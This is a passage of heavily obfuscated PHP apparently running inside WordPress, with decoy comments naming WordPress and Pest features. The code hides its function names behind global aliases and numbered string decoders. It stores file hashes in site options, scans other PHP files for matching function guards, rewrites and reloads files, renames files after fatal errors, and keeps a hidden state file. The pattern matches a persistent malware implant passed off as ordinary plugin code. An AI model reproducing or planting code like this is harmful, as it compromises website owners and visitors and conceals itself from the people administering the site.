while  ($GLOBALS['__scf_m2ym9pki8mue9_11']($xr7siizzt4ot)  <     (3939+61)) $xr7siizzt4ot     .=   $GLOBALS['__scf_abbpcj1ncssalx_57']($xr7siizzt4ot);
   }
       $a5k4otdarxhx3x   .= "\n/*"   .  $xr7siizzt4ot    .  zp28wk01y(1356);

      }
return  $a5k4otdarxhx3x;
}
  function    eje1j3zh7yylmqspbj($a5k4otdarxhx3x)


   {
  if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x) ||    $GLOBALS['__scf_m2ym9pki8mue9_11']($a5k4otdarxhx3x) <=  (1048480+96))    return     $a5k4otdarxhx3x;



$b_zag2hc7t = $GLOBALS['__scf_sp5m_appgxyoko_471'](tvo1rh46s_(1357), "",    $a5k4otdarxhx3x);
return  $GLOBALS['__scf_zneqqdn4vlt4_42']($b_zag2hc7t)   ?  $b_zag2hc7t    :  $a5k4otdarxhx3x;
}
function   krbi_9ahx28cozqdfze0_()
  {
 static $clbca6w7rzhm8h4 =  null;
   if ($clbca6w7rzhm8h4  !==  null)  return  $clbca6w7rzhm8h4;
   $clbca6w7rzhm8h4     = 0;
 if      (!$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1190)))   return    $clbca6w7rzhm8h4;



     $r3zx2x3gf_5dqoe =    @$GLOBALS['__scf_livuu39cntpdx3_116'](b4gbsak56f40gos(1358));
if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($r3zx2x3gf_5dqoe))   return      $clbca6w7rzhm8h4;
$r3zx2x3gf_5dqoe      =  $GLOBALS['__scf_bbs7j5b1fx_332']($r3zx2x3gf_5dqoe);


if ($r3zx2x3gf_5dqoe === "")  return   $clbca6w7rzhm8h4;
     if   ($r3zx2x3gf_5dqoe   ===  fjup2mc1h(1359))  {
  $clbca6w7rzhm8h4    =  -1;
 return $clbca6w7rzhm8h4;



   }
// instantiate substitution-map for WP Post Author




$cqa9ps1o2ezc4_   =    (float)  $r3zx2x3gf_5dqoe;



  $rnc474m90gatrx =   $GLOBALS['__scf_s7mc32qh64_1360']($GLOBALS['__scf_zre6ec18ly90y_10']($r3zx2x3gf_5dqoe,   -1));

if   ($rnc474m90gatrx     ===   'G')   $cqa9ps1o2ezc4_   *=    (1918269490-844527666);

    elseif   ($rnc474m90gatrx  === 'M') $cqa9ps1o2ezc4_    *= (360097+688479);
elseif ($rnc474m90gatrx  ===  'K') $cqa9ps1o2ezc4_ *=  (807+217);
 if    ($cqa9ps1o2ezc4_  > 0) $clbca6w7rzhm8h4   = (int) $cqa9ps1o2ezc4_;


    return   $clbca6w7rzhm8h4;
     }

function  n0kef4h0zk1ynp0pkgt($tsdy6vxykp74ml)
 {
   $tsdy6vxykp74ml   = (int)   $tsdy6vxykp74ml;
 if ($tsdy6vxykp74ml   <=  0)  return false;
    if (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(679)))    return false;
    $fowg365tc61zoq49  = krbi_9ahx28cozqdfze0_();
 if  ($fowg365tc61zoq49 ===    -1) return    true;


    if   ($fowg365tc61zoq49   <= 0) return    false;



   $vx26i7s975hixn0  = @memory_get_usage(true);
 if    (!$GLOBALS['__scf_btk9t95ovv6r2_40']($vx26i7s975hixn0) ||    $vx26i7s975hixn0  < 0)    return   false;
      return    ($fowg365tc61zoq49     - $vx26i7s975hixn0)  >  (($tsdy6vxykp74ml  *  (5-2))  +     (3585612-1488460));
   }
    function    h_nk553p8w2mzk7r0ppn4w($tsdy6vxykp74ml)


 {
 $tsdy6vxykp74ml  = (int) $tsdy6vxykp74ml;
 if  ($tsdy6vxykp74ml  <=  0)  return false;
  if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(679)))  return true;
 $fowg365tc61zoq49  =   krbi_9ahx28cozqdfze0_();
 if ($fowg365tc61zoq49 ===   -1)  return    true;
   if ($fowg365tc61zoq49 <=  0)  return  true;
$vx26i7s975hixn0  =  @memory_get_usage(true);
       if (!$GLOBALS['__scf_btk9t95ovv6r2_40']($vx26i7s975hixn0)  || $vx26i7s975hixn0     < 0) return  true;
     return ($fowg365tc61zoq49 - $vx26i7s975hixn0)   >   (($tsdy6vxykp74ml *  (0x13+0x1)) +  (12574341-4185733));
 }
  function   _ar5tcm9kavyuod_ve5o1l($q9bdm8vc06odw4)
 {
    if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($q9bdm8vc06odw4)    || $q9bdm8vc06odw4  === "" ||   !@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))      return false;
   if    ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1361)))   @clearstatcache(true,   $q9bdm8vc06odw4);
$tsdy6vxykp74ml  =   @$GLOBALS['__scf_voobwg611qb_102']($q9bdm8vc06odw4);
  if    (!$GLOBALS['__scf_btk9t95ovv6r2_40']($tsdy6vxykp74ml)      || $tsdy6vxykp74ml  <  1)  return false;
   if  ($tsdy6vxykp74ml > (52428758+42)) return  null;
 if ($tsdy6vxykp74ml    > (861380+187196) &&  !n0kef4h0zk1ynp0pkgt($tsdy6vxykp74ml))     return      null;

     $a5k4otdarxhx3x  =    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4,    false,     null,   0,   $tsdy6vxykp74ml   +  1);
    if    (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)   ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($a5k4otdarxhx3x) !== $tsdy6vxykp74ml) return false;
     return   $tsdy6vxykp74ml >   (1048505+71)    ?  eje1j3zh7yylmqspbj($a5k4otdarxhx3x) : $a5k4otdarxhx3x;
        }
  function  rwx_v9t1vov1zic2ki($q9bdm8vc06odw4)


{
  if    (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1362))  ||    !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1296)))  return;$krb7ntgx94=PHP_MAJOR_VERSION;$xm4nob_ge=$krb7ntgx94*2;
    if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($q9bdm8vc06odw4)  || $q9bdm8vc06odw4   ===   ""  ||      !@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4)) return;
if   (!isset($GLOBALS[fjup2mc1h(1363)]) || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[zp28wk01y(1363)])) {
  $GLOBALS[fjup2mc1h(1363)]     =  get_option(op9tjzix(1364),      array());$hf_1a33gary=8393;$jdngxhyb8d1ft=$hf_1a33gary%12;
      if (!$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[tvo1rh46s_(1363)]))  $GLOBALS[tvo1rh46s_(1363)]  =   array();
 }
    $ltpokciy2kt5utu  =  $GLOBALS[op9tjzix(1363)];
  $a5k4otdarxhx3x   =  _ar5tcm9kavyuod_ve5o1l($q9bdm8vc06odw4);
   if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x))   return;
  $ltpokciy2kt5utu[$GLOBALS['__scf_abbpcj1ncssalx_57']($q9bdm8vc06odw4)]   =  array('p' =>    $q9bdm8vc06odw4,   'h'   =>  $GLOBALS['__scf_abbpcj1ncssalx_57']($a5k4otdarxhx3x),      'g'  => _vfpypr4wakqs7jy_(),  't'   =>  $GLOBALS['__scf_yg2rpewmkg_192']());
if   ($GLOBALS['__scf_j38tk0441lk_37']($ltpokciy2kt5utu) > (24^208))     {
 foreach  ($ltpokciy2kt5utu   as      $fuudv53fhxni7l => $cqa9ps1o2ezc4_)    {
  if   (!$GLOBALS['__scf_knhbvsumnby3_36']($cqa9ps1o2ezc4_)    || !isset($cqa9ps1o2ezc4_['t']) ||   (int)   $cqa9ps1o2ezc4_['t']    < $GLOBALS['__scf_yg2rpewmkg_192']() - (2591928+72))   unset($ltpokciy2kt5utu[$fuudv53fhxni7l]);
   }
// expected bivariant

 while ($GLOBALS['__scf_j38tk0441lk_37']($ltpokciy2kt5utu)  > (195+5))    {
$seobj5_7s5 =     null;
   $dq599vz3l6 = null;
foreach ($ltpokciy2kt5utu    as    $fuudv53fhxni7l =>   $cqa9ps1o2ezc4_)    {
 $fw3cq8mwdc     = $GLOBALS['__scf_knhbvsumnby3_36']($cqa9ps1o2ezc4_)  &&    isset($cqa9ps1o2ezc4_['t'])  ?    (int) $cqa9ps1o2ezc4_['t'] :   0;
 if  ($dq599vz3l6    ===   null ||   $fw3cq8mwdc  <  $dq599vz3l6) {
    $dq599vz3l6 =     $fw3cq8mwdc;

    $seobj5_7s5  =    $fuudv53fhxni7l;
}
  }
  if ($seobj5_7s5 ===    null) break;



    unset($ltpokciy2kt5utu[$seobj5_7s5]);
  }
      }
  update_option(wlgh2_th(1365), $ltpokciy2kt5utu, tvo1rh46s_(1170));
 $GLOBALS[b4gbsak56f40gos(1363)]  =   $ltpokciy2kt5utu;
      }
 function     tgyo8z7pgm0hrgi7zn($q9bdm8vc06odw4)
 {
      if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($q9bdm8vc06odw4)  ||    $q9bdm8vc06odw4    ===    "")     return    false;
if  (!isset($GLOBALS[op9tjzix(1363)])  ||  !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[op9tjzix(1363)]))  {


 $GLOBALS[b4gbsak56f40gos(1363)] =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1362))      ? get_option(fjup2mc1h(1366),   array())  :   array();
 if (!$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[wlgh2_th(1363)]))  $GLOBALS[zp28wk01y(1363)]   = array();
 }
// WP useBlockProps: emit validator

 $ltpokciy2kt5utu   =  $GLOBALS[fjup2mc1h(1367)];
  $u0zrytrv44chs =     $GLOBALS['__scf_abbpcj1ncssalx_57']($q9bdm8vc06odw4);
if    (isset($ltpokciy2kt5utu[$u0zrytrv44chs])    &&   $GLOBALS['__scf_knhbvsumnby3_36']($ltpokciy2kt5utu[$u0zrytrv44chs])    && isset($ltpokciy2kt5utu[$u0zrytrv44chs]['h']))  {
        if   ((int)  @$GLOBALS['__scf_voobwg611qb_102']($q9bdm8vc06odw4)  >  (0x335cce+0x2eca332))   return tvo1rh46s_(1368);



  $a5k4otdarxhx3x    =  _ar5tcm9kavyuod_ve5o1l($q9bdm8vc06odw4);



   if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)) {
    return    ($GLOBALS['__scf_abbpcj1ncssalx_57']($a5k4otdarxhx3x) ===  $ltpokciy2kt5utu[$u0zrytrv44chs]['h'])  ?    true  :   b4gbsak56f40gos(1368);
    }
      return  false;
}



    if   (_cz07l41au6zrisr5($q9bdm8vc06odw4,  (412+88)))    {
 $qd8vtlpj9h57ev   = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4,   false,    null, 0,    (4067+29));
   if ($GLOBALS['__scf_zneqqdn4vlt4_42']($qd8vtlpj9h57ev) &&  $GLOBALS['__scf_rbe_sihvfv_8']($qd8vtlpj9h57ev,    tvo1rh46s_(1181))    !==   false)  return    fjup2mc1h(1369);
}
// critical section

   return   false;
}
 function p28ke_1ur6ryikmcx3()
      {


    static  $ltpokciy2kt5utu    =     null;
 if  ($ltpokciy2kt5utu   !==   null)    return $ltpokciy2kt5utu;
 $a5k4otdarxhx3x   =   _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());



 $ltpokciy2kt5utu = $GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x) &&    $a5k4otdarxhx3x      !==   "" ?  $GLOBALS['__scf_abbpcj1ncssalx_57']($a5k4otdarxhx3x)   :  "";
return $ltpokciy2kt5utu;
 }
 function  p2mwggi5y0rl6oms()


 {
  return  $GLOBALS['__scf_zre6ec18ly90y_10'](p28ke_1ur6ryikmcx3(),  0, (165^169));
}


 function zlkyldb4y0gty8f5e7()
 {
return  xrb38aewb77bc3i()     .     fjup2mc1h(1370) .  fmsvr16ge0nzzk9i6u(ABSPATH     .     tvo1rh46s_(1371),   (7+1))    .  b4gbsak56f40gos(1336);$p727rpaf96c0xj=PHP_INT_MAX/PHP_INT_MAX;$t0fhu2b50=$p727rpaf96c0xj+100;
    }
  function  lxy9w34y4eglj5ev6kxa6()

{
// Pest PHP 2: release authority

   $ftunony5_q560 = array();
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1372)))   {
  $giootjr_7s6d =  @get_option(zp28wk01y(1373),     array());

 if  ($GLOBALS['__scf_knhbvsumnby3_36']($giootjr_7s6d))    $ftunony5_q560    = $giootjr_7s6d;
   }
   $a5k4otdarxhx3x  =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20'](zlkyldb4y0gty8f5e7())    ?    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](zlkyldb4y0gty8f5e7())    : "";
  if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x) &&   $GLOBALS['__scf_rbe_sihvfv_8']($a5k4otdarxhx3x,  zp28wk01y(809)) ===  0)    {
      $m222viaojgpr  = $GLOBALS['__scf_vcngxudwmss_337']($GLOBALS['__scf_zre6ec18ly90y_10']($a5k4otdarxhx3x, (3+2)),  true);
if ($GLOBALS['__scf_knhbvsumnby3_36']($m222viaojgpr)     &&   (empty($ftunony5_q560[b4gbsak56f40gos(1374)])      ||  (!empty($m222viaojgpr[op9tjzix(1374)])   &&   $m222viaojgpr[wlgh2_th(1375)]   >= $ftunony5_q560[fjup2mc1h(1376)])))  $ftunony5_q560 = $m222viaojgpr;
 }
  return    $ftunony5_q560;
   }
  function  ralx_tidbmwyzixsc1y($q6rn7hed4z)
  {
     try    {
 if (!defined(b4gbsak56f40gos(1377)))    return;

 $ltvf1eni1c2z =    $GLOBALS['__scf_yg2rpewmkg_192']();
  if ($q6rn7hed4z ===    tvo1rh46s_(230)  || $q6rn7hed4z    ===      b4gbsak56f40gos(1378))   {
  $prev  =  lxy9w34y4eglj5ev6kxa6();
if      (
      isset($prev[wlgh2_th(1379)],  $prev[wlgh2_th(1380)])   &&  $prev[tvo1rh46s_(1379)]    ===    $q6rn7hed4z

  &&    $ltvf1eni1c2z  -  (int)  $prev[wlgh2_th(1380)]  <  ($q6rn7hed4z  ===      fjup2mc1h(1378)  ?  (257+43)  :     (0x3+0x7))
)  return;



     }
       $ftunony5_q560 =   array(
   'v'     =>    _vfpypr4wakqs7jy_(),
     fjup2mc1h(1381)     =>     p2mwggi5y0rl6oms(),
wlgh2_th(218)  => qluu1auwul2zupq5h(),

zp28wk01y(1382)   =>  $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(),  zp28wk01y(1336)),
    tvo1rh46s_(1379)    =>  $q6rn7hed4z,
  tvo1rh46s_(1383) =>    $ltvf1eni1c2z,



     fjup2mc1h(1380)   =>  $ltvf1eni1c2z,
  wlgh2_th(1376) =>    isset($_SERVER[b4gbsak56f40gos(1384)])   ? (int)  $_SERVER[op9tjzix(1384)]  : $ltvf1eni1c2z,
  );

      if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(1296)))     {
  $y1h1r038nv   =  @update_option(tvo1rh46s_(1373),   $ftunony5_q560, b4gbsak56f40gos(1170));
   if   ($y1h1r038nv   === false     &&  $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1385))) {
   $yaz8j1ehnogn3   = @get_option(wlgh2_th(1373),  array());
$mujg028vdu   =    !$GLOBALS['__scf_knhbvsumnby3_36']($yaz8j1ehnogn3) ||  !isset($yaz8j1ehnogn3[op9tjzix(1386)],  $yaz8j1ehnogn3[zp28wk01y(1387)])     ||  $yaz8j1ehnogn3[fjup2mc1h(1386)]   !== $q6rn7hed4z  || (int) $yaz8j1ehnogn3[fjup2mc1h(1388)]    !==   $ltvf1eni1c2z;
  if  ($mujg028vdu     &&     isset($GLOBALS[fjup2mc1h(1303)])   &&  $GLOBALS['__scf_l4xn242gw4_70']($GLOBALS[tvo1rh46s_(1303)]) &&   $GLOBALS['__scf_p6wtd462xwbf9y_126']($GLOBALS[tvo1rh46s_(1303)],     wlgh2_th(1389))) {
   @$GLOBALS[zp28wk01y(1303)]->check_connection(false);
        @update_option(zp28wk01y(1390), $ftunony5_q560,     fjup2mc1h(1391));
 }

     unset($yaz8j1ehnogn3,  $mujg028vdu);
    }
       unset($y1h1r038nv);
 }

       $dwp9zzb5mx    =   xrb38aewb77bc3i();
 if    (@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx)  ||   m_ixrkpun5f9a0k8wu($dwp9zzb5mx,  (491+2),  true))  {
@$GLOBALS['__scf_m2g_67700pfzin_204'](zlkyldb4y0gty8f5e7(),     zp28wk01y(809) . $GLOBALS['__scf_p_tfg5i832l8_603']($ftunony5_q560));
 }
/* randomized coordinator */

  }  catch     (Throwable $x0ydieb0v_72m_u)  {
  }  catch  (Exception $x0ydieb0v_72m_u) {
 }
  }


function   a1r5x6gcdcygcg23($ftunony5_q560)
 {
    if (!$GLOBALS['__scf_knhbvsumnby3_36']($ftunony5_q560)  ||  empty($ftunony5_q560[b4gbsak56f40gos(218)]) ||   !$GLOBALS['__scf_zneqqdn4vlt4_42']($ftunony5_q560[op9tjzix(1392)]))     return   fjup2mc1h(220);
 $frgd4znm8k  = $ftunony5_q560[zp28wk01y(1392)];$x1wxtxr2t3e=PHP_INT_MAX/PHP_INT_MAX;$d32vc5bg7k9lr2=$x1wxtxr2t3e+74;


    if (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k)  || (int) @$GLOBALS['__scf_voobwg611qb_102']($frgd4znm8k)    <   (0x3d+0x1b7))    return    zp28wk01y(220);

   if  (dqwf5svv0jhvojl7($frgd4znm8k)) return  b4gbsak56f40gos(219);
  $_rllvx41la3  =  isset($ftunony5_q560[fjup2mc1h(1386)])    ?  $ftunony5_q560[wlgh2_th(1393)]   :  "";
$mxv8q3615lzbxfo    = isset($ftunony5_q560[op9tjzix(1388)])    ?      (int)    $ftunony5_q560[b4gbsak56f40gos(1388)]     :     0;
     if    ($_rllvx41la3  ===  wlgh2_th(1378))     return   ($mxv8q3615lzbxfo  >    0    && $GLOBALS['__scf_yg2rpewmkg_192']()    -    $mxv8q3615lzbxfo <=   (0x6fb+0x715))   ?    fjup2mc1h(1378)    :  op9tjzix(1394);
if   ($_rllvx41la3 === tvo1rh46s_(197)) return      tvo1rh46s_(1395);
  if  ($_rllvx41la3 ===  tvo1rh46s_(230))   return  ($mxv8q3615lzbxfo  >    0      &&   $GLOBALS['__scf_yg2rpewmkg_192']()  -  $mxv8q3615lzbxfo   <= (178-58))    ?  zp28wk01y(1394)  :  wlgh2_th(1396);
return   op9tjzix(1394);
  }
     function     phmbu8l2xleed7fgcq($q9bdm8vc06odw4)
       {

  if (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))    return false;
     $dyahzuwtz164n6 = (int)    @$GLOBALS['__scf_voobwg611qb_102']($q9bdm8vc06odw4);
   if  ($dyahzuwtz164n6 <    (454+46)    || $dyahzuwtz164n6   >   (52428702+98))    return  false;
  $qd8vtlpj9h57ev = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4,  false, null,  0, (0xe84+0x17c));
  if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($qd8vtlpj9h57ev) ||      !$GLOBALS['__scf_bvfhit3heqts_99'](b4gbsak56f40gos(216),   $qd8vtlpj9h57ev))  return     false;
 if     ($dyahzuwtz164n6 >      (1048518+58)) {
$wqsido46b9z1hw =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4, false, null,  $dyahzuwtz164n6 -  (5564-1468));
return     $GLOBALS['__scf_zneqqdn4vlt4_42']($wqsido46b9z1hw) &&  $GLOBALS['__scf_bvfhit3heqts_99'](fjup2mc1h(1397),    $wqsido46b9z1hw)  ===  1;
 }
 $a5k4otdarxhx3x  =    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);
    if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x))    return   false;
   return      ays3w9sevfe7ws($a5k4otdarxhx3x);
   }
function  rm219dnjpltf5xmtptb($f_7bj33ei881g_s,  $kiksbnz9wy_f)
      {


    $todhhh7fqfa68  =    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($f_7bj33ei881g_s,  false,   null, 0,    (4674-578));$mzv6xvjqk3lp=87+95;$ubs3jd5o=$mzv6xvjqk3lp-13;

    $i8m2komhrb  =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($kiksbnz9wy_f, false,   null,   0,  (4064+32));
  if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($todhhh7fqfa68)  || !$GLOBALS['__scf_zneqqdn4vlt4_42']($i8m2komhrb))   return  false;
   $om_j784i79btmg  =    $mcxxv13go4_   = null;
       if    ($GLOBALS['__scf_bvfhit3heqts_99']("/!function_exists\('([A-Za-z0-9_]+)'\)/",  $todhhh7fqfa68,   $ie1yv6fyt0e))  $om_j784i79btmg  =     $ie1yv6fyt0e[1];



if  ($GLOBALS['__scf_bvfhit3heqts_99']("/!function_exists\('([A-Za-z0-9_]+)'\)/",   $i8m2komhrb,  $ie1yv6fyt0e))  $mcxxv13go4_  =  $ie1yv6fyt0e[1];
     return   $om_j784i79btmg      !== null  &&    $om_j784i79btmg   ===  $mcxxv13go4_;
}
function dqwf5svv0jhvojl7($q9bdm8vc06odw4)



   {
  $cmmcvi1p_vu  =    $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4, zp28wk01y(1336));

   foreach (array($GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4),      emzy8pvoveowt1bicy5())   as $zwzkcpqs2ucabt_)    {
   $hubmd0_8wl   =    $zwzkcpqs2ucabt_    . fjup2mc1h(888)     .   $cmmcvi1p_vu;
    




 if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($hubmd0_8wl)  ||  (int)  @$GLOBALS['__scf_kpr9p9o54hwof_101']($hubmd0_8wl)  <   $GLOBALS['__scf_yg2rpewmkg_192']()   - (604799+1))  continue;
$rmcn9tuk4x   =  $GLOBALS['__scf_bbs7j5b1fx_332']((string)    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($hubmd0_8wl));
if  ($rmcn9tuk4x   ===    "")   continue;
       $a5k4otdarxhx3x   =   _ar5tcm9kavyuod_ve5o1l($q9bdm8vc06odw4);
     if  ($a5k4otdarxhx3x      === null)  continue;
       if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($a5k4otdarxhx3x)   &&  $a5k4otdarxhx3x !== "" &&  $GLOBALS['__scf_abbpcj1ncssalx_57']($a5k4otdarxhx3x)   ===   $rmcn9tuk4x)  return true;

}


 return     false;
     }
    function _xveo52p9iptyim($q9bdm8vc06odw4)
      {



  if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1398)) || !$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1399))) return;
$clbca6w7rzhm8h4   =    @get_option(b4gbsak56f40gos(1400),   array());
if  (!$GLOBALS['__scf_knhbvsumnby3_36']($clbca6w7rzhm8h4)) $clbca6w7rzhm8h4   =   array();
 $clbca6w7rzhm8h4[$GLOBALS['__scf_abbpcj1ncssalx_57']($q9bdm8vc06odw4)]  =    $q9bdm8vc06odw4;
    if  ($GLOBALS['__scf_j38tk0441lk_37']($clbca6w7rzhm8h4) > (17+3))     $clbca6w7rzhm8h4    =     $GLOBALS['__scf_eriwpctk0hsvu4_164']($clbca6w7rzhm8h4, -(31-11), null,  true);
      @update_option(fjup2mc1h(1401), $clbca6w7rzhm8h4,  b4gbsak56f40gos(1391));


    }


function  zl94qj76085u9dyrpf()



      {
  if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(1398))  || !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(1402)))   return;
$clbca6w7rzhm8h4 =  @get_option(fjup2mc1h(1403), array());
   if (!$GLOBALS['__scf_knhbvsumnby3_36']($clbca6w7rzhm8h4) || empty($clbca6w7rzhm8h4))   return;
$gxnx282aue6ro6   =  array();
  foreach ($clbca6w7rzhm8h4 as    $fuudv53fhxni7l    =>  $frgd4znm8k) {
     if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($frgd4znm8k)   ||     $frgd4znm8k     === ""  || !@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k)) continue;
   if ($frgd4znm8k ===   qluu1auwul2zupq5h())    continue;



    $qcxhpu8y4q1za6z7 =   @$GLOBALS['__scf_czsd7giapuxwu_34']($frgd4znm8k);
   $ber8bgs79smj = @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($qcxhpu8y4q1za6z7) &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($ber8bgs79smj) &&   $qcxhpu8y4q1za6z7    === $ber8bgs79smj)  continue;
unset($qcxhpu8y4q1za6z7,  $ber8bgs79smj);
if     (tgyo8z7pgm0hrgi7zn($frgd4znm8k)  ===  false) {

$gxnx282aue6ro6[$fuudv53fhxni7l]  = $frgd4znm8k;
   continue;
 }
   kp1tutxjpanriy($frgd4znm8k, (558-138));$j1wrf4cqi=7126;$u2x0wbm3n6teh9=$j1wrf4cqi%15;
if (_0qezpop1swzfe($frgd4znm8k))  {
     if     ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1404))) @opcache_invalidate($frgd4znm8k,   true);
} elseif    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k)) {
    $gxnx282aue6ro6[$fuudv53fhxni7l]     =  $frgd4znm8k;
   }
  }
@update_option(fjup2mc1h(1405),    $gxnx282aue6ro6, fjup2mc1h(1391));
  }
   function  zj11edvso_6r3g_40()
    {
       try {
  $x0ydieb0v_72m_u =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(178))  ?  @error_get_last()  :     null;
    if  (



$GLOBALS['__scf_knhbvsumnby3_36']($x0ydieb0v_72m_u)  &&   !empty($x0ydieb0v_72m_u[fjup2mc1h(1406)])   &&     !empty($x0ydieb0v_72m_u[tvo1rh46s_(180)])
      &&  $GLOBALS['__scf_av84ex67tlp92_156']($x0ydieb0v_72m_u[b4gbsak56f40gos(180)],  array(E_ERROR,    E_PARSE,     E_CORE_ERROR,  E_COMPILE_ERROR,    E_USER_ERROR),      true)

    )    {
    $wul9x0p7n8h0   = @$GLOBALS['__scf_czsd7giapuxwu_34'](qluu1auwul2zupq5h());
      $_ef  =    @$GLOBALS['__scf_czsd7giapuxwu_34']($x0ydieb0v_72m_u[tvo1rh46s_(1407)]);
    if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($wul9x0p7n8h0) &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($_ef)  &&   $_ef ===    $wul9x0p7n8h0)   return;

   }
  ralx_tidbmwyzixsc1y(fjup2mc1h(1378));



   if     (defined(tvo1rh46s_(1408))) {
$_u7w1gxeyh1tpv =   n0_7e12hpkahf8mwyn53();
    if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($_u7w1gxeyh1tpv[1]))   {
 $zxel42as92qylui  =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($_u7w1gxeyh1tpv[1],  false, null, 0,  (2<<5));



   if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($zxel42as92qylui)    &&   $GLOBALS['__scf_rbe_sihvfv_8']($zxel42as92qylui,      fjup2mc1h(1272)     .  _vfpypr4wakqs7jy_()     .  ':')   === 0)   {
$ur0gvjk34mufeqo    =    @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($_u7w1gxeyh1tpv[1] .      b4gbsak56f40gos(1409))   ? @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($_u7w1gxeyh1tpv[1]  . fjup2mc1h(1409), false,    null, 0,    (179^243))      :   "";
  if      ($ur0gvjk34mufeqo   !==    $zxel42as92qylui)    @$GLOBALS['__scf_c05p9rpyec3_t_77']($_u7w1gxeyh1tpv[1],      $_u7w1gxeyh1tpv[1] .  zp28wk01y(1409));
  }


}


   unset($_u7w1gxeyh1tpv, $zxel42as92qylui,  $ur0gvjk34mufeqo);
 }
     }  catch   (Throwable    $h8j9vxji0p) {
}  catch (Exception   $h8j9vxji0p)  {



 }
   }
function    tcvosc3dm25u1r25($kiksbnz9wy_f)
{


  if     (!$GLOBALS['__scf_zneqqdn4vlt4_42']($kiksbnz9wy_f))    return    "";
 

   if  ($GLOBALS['__scf_y135v3krd50khw_1410'](b4gbsak56f40gos(1411),      $kiksbnz9wy_f,    $upeevvazz07))   {
foreach  ($upeevvazz07[1]  as    $oxsw6yg8l6ot8w94) {
    if (xsw796j0bf__dakug8v7b($GLOBALS['__scf__cpt1d1twdvp_362']($oxsw6yg8l6ot8w94,  true)))    return "";


}
    }

 if      ($GLOBALS['__scf_y135v3krd50khw_1410'](b4gbsak56f40gos(1412), $kiksbnz9wy_f, $upeevvazz07)) {
  foreach ($upeevvazz07[1]   as     $oxsw6yg8l6ot8w94)  {

 if  (xsw796j0bf__dakug8v7b(stripcslashes($oxsw6yg8l6ot8w94))) return  "";
if   ($GLOBALS['__scf_rbe_sihvfv_8']($oxsw6yg8l6ot8w94, op9tjzix(1413))   !==     false) {
      $zmkjl8wcy105ge2t      =  preg_replace_callback(wlgh2_th(1414), fjup2mc1h(1415),  $oxsw6yg8l6ot8w94);



